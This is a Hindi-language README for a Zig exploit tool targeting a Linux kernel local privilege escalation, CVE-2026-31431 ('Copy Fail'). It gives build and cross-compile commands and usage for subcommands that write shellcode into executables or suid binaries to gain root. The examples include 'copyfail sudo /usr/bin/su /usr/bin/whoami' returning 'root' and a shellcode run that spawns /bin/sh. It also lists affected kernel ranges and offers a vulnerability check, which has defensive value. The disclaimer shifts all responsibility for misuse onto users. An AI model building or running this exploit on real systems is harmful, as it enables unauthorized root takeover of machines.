
Zig में Copy Fail Linux LPE (CVE-2026-31431) का कार्यान्वयन, जो सुरक्षा अनुसंधान और रक्षात्मक पहचान के लिए भेद्यता का शोषण करने हेतु एक स्टैंडअलोन बाइनरी प्रदान करता है, जिसमें शेलकोड इंजेक्शन और सिस्टम भेद्यता जाँच शामिल हैं।
732 बाइट प्रूफ ऑफ कॉन्सेप्ट का Zig कार्यान्वयन, जो कॉपी फेल Linux LPE (CVE-2026-31431) के लिए है, जिसे Theori / Xint द्वारा 29 अप्रैल 2026 को खुलासा किया गया था। विस्तृत विवरण copy.fail पर पाया जा सकता है।
इस कार्यान्वयन की कोई रनटाइम निर्भरता नहीं है और इसे एक स्टैंडअलोन बाइनरी के रूप में चलाया जा सकता है।
एक्सप्लॉइट बनाने के लिए zig संस्करण 0.16.0 या उच्चतर आवश्यक है, जिसे ziglang.org से स्थापित किया जा सकता है। एक्सप्लॉइट बनाने के लिए, टर्मिनल में निम्न कमांड चलाएँ:
zig build
वैकल्पिक रूप से, इसे किसी भिन्न टारगेट के लिए क्रॉस-बिल्ट किया जा सकता है जैसे
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
या बिना संपीड़ित पेलोड के साथ
zig build -Dcompress=false
या तो संकलित बाइनरी चलाएँ या इसे चलाने के लिए zig का उपयोग करें
zig-out/bin/copyfail
या
zig build run
$ zig-out/bin/copyfail
उपयोग:
run <path> <data> [offset] [-- args...] - दिए गए ऑफसेट (डिफ़ॉल्ट 0) पर निष्पादन योग्य में डेटा लिखें और इसे चलाएँ
sudo <suid_path> [command...] - एक suid बाइनरी में शेलकोड लिखकर रूट के रूप में एक कमांड चलाता है।
(कमांड का पहला तर्क चलाने के लिए प्रोग्राम का पूर्ण पथ होना चाहिए)
modify <path> <data> [offset] - दिए गए ऑफसेट (डिफ़ॉल्ट 0) पर फ़ाइल में डेटा लिखें
reset <path> - फ़ाइल को उसकी मूल स्थिति में रीसेट करें
help - यह संदेश दिखाएँ
निष्पादन योग्य को विभिन्न कमांडों के साथ चलाया जा सकता है:
run
पहले दिए गए ऑफसेट (डिफ़ॉल्ट 0) पर प्रदान किए गए डेटा को प्रदान किए गए पथ पर निष्पादन योग्य में लिखता है, फिर इसे चलाता है।
निष्पादन समाप्त होने के बाद, फ़ाइल को posix_fadvise का उपयोग करके उसकी मूल स्थिति में रीसेट किया जाता है।
उदाहरण:
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh
sudo
शामिल शेलकोड को एक suid बाइनरी में लिखता है और रूट के रूप में एक कमांड चलाने के लिए इसे निष्पादित करता है।
शेलकोड का स्रोत कोड payloads/sudo.zig में पाया जा सकता है।
कमांड का पहला तर्क प्रोग्राम का पूर्ण पथ होना चाहिए क्योंकि शेलकोड चलाने के लिए प्रोग्राम की खोज नहीं करता है।
निष्पादन समाप्त होने के बाद, फ़ाइल को run कमांड की तरह रीसेट किया जाता है।
उदाहरण:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
प्रदान किए गए डेटा को दिए गए ऑफसेट (डिफ़ॉल्ट 0) पर प्रदान किए गए पथ पर फ़ाइल में लिखता है, बिना इसे निष्पादित किए।
संशोधन के बाद, फ़ाइल को रीसेट नहीं किया जाता है। इसे रीसेट करने के लिए reset कमांड का उपयोग करें।
उदाहरण:
copyfail modify /path/to/file "My new content" 1337
reset
posix_fadvise का उपयोग करके प्रदान किए गए पथ पर फ़ाइल को उसकी मूल स्थिति में रीसेट करता है। यह कैश्ड पेज को त्याग देता है और अगली बार एक्सेस करने पर सामग्री को डिस्क से पढ़ेगा।
उदाहरण:
copyfail reset /path/to/file
is_vulnerable
एक अस्थायी फ़ाइल बनाकर, उसमें परीक्षण डेटा लिखकर, और यह देखने के लिए इसे वापस पढ़कर जाँचता है कि क्या सिस्टम असुरक्षित है कि डेटा दूषित हुआ या नहीं।
उदाहरण:
$ copyfail is_vulnerable
चेतावनी: सिस्टम असुरक्षित है
या
जानकारी: सिस्टम असुरक्षित नहीं है
help
उपयोग संदेश प्रिंट करता है।
फ़्लोर: torvalds/linux 72548b093ee3 अगस्त 2017, v4.14
(AF_ALG iov_iter पुनर्कार्य जिसने
AEAD स्कैटरलिस्ट में splice के माध्यम से
फ़ाइल-पेज लेखन प्रिमिटिव
पेश किया)
सीलिंग: torvalds/linux a664bf3d603d अप्रैल 2026, मेनलाइन
(2017 के algif_aead
इन-प्लेस अनुकूलन को वापस लेता है; स्रोत और
गंतव्य स्कैटरलिस्ट को अलग करता है
ताकि पेज-कैश पेज अब
लिखने योग्य क्रिप्टो गंतव्य नहीं बन सकें)
इसके बीच: हर प्रमुख डिस्ट्रो कर्नेल जिसने फिक्स को बैकपोर्ट नहीं किया।
Ubuntu, RHEL, SUSE, Amazon Linux, और Debian सभी खुलासे के समय अपने स्टॉक क्लाउड-इमेज कर्नेल में असुरक्षित पुष्टि किए गए थे। डिस्ट्रो-स्तरीय
बैकपोर्ट लगभग 2026-04-29 के आसपास सार्वजनिक
खुलासे के साथ जारी होने शुरू हुए। यह सत्यापित करने के लिए कि क्या कोई लक्षित कर्नेल विंडो में है, जाँचें कि क्या
a664bf3d603d (या इसका डिस्ट्रो-विशिष्ट बैकपोर्ट) कर्नेल के
git log या डिस्ट्रो के चेंजलॉग में मौजूद है।
CVE-2026-31431 की खोज और मूल खुलासा: Theori / Xint। सार्वजनिक विवरण copy.fail पर।
यह zig कार्यान्वयन: Emmmmllll [email protected]
zig कंपाइलर और मानक पुस्तकालय: Zig Software Foundation MIT शर्तों पर https://codeberg.org/ziglang/zig।
एक्सप्लॉइट और पेलोड सुरक्षा-अनुसंधान और रक्षात्मक-पहचान उद्देश्यों के लिए प्रकाशित किए गए हैं। उन प्रणालियों के खिलाफ उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है, आपकी समस्या है, लेखक की नहीं।